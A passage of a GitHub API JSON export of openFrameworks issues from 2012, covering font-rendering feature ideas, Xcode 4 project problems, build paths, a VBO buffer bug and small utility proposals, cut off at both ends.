line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911537,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910580,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910555,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3897090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3883598,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3856005,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3850655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3825582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3813852,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812318,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812275,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3807459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799872,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799653,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter 